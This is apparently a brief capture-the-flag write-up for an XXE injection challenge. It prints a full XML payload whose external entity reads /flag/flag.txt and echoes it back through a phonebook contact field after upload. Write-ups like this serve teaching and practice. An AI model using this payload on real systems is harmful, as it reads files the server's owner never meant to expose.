image.png

This a classic XXE injection challenge.

For this, we’ll create a file with a general entity referencing the file /flag/flag.txt

Download the template and modify it so it looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test123 [
<!ENTITY myentity SYSTEM "file:///flag/flag.txt">
]>
<phonebook>
    <contact>
        <name>&myentity;</name>
        <number>+1234567890</number>
    </contact>
    <contact>
        <name>Jane Smith</name>
        <number>+0987654321</number>
    </contact>
</phonebook>

Upload it and you’ll see the flag is printed back.

image.png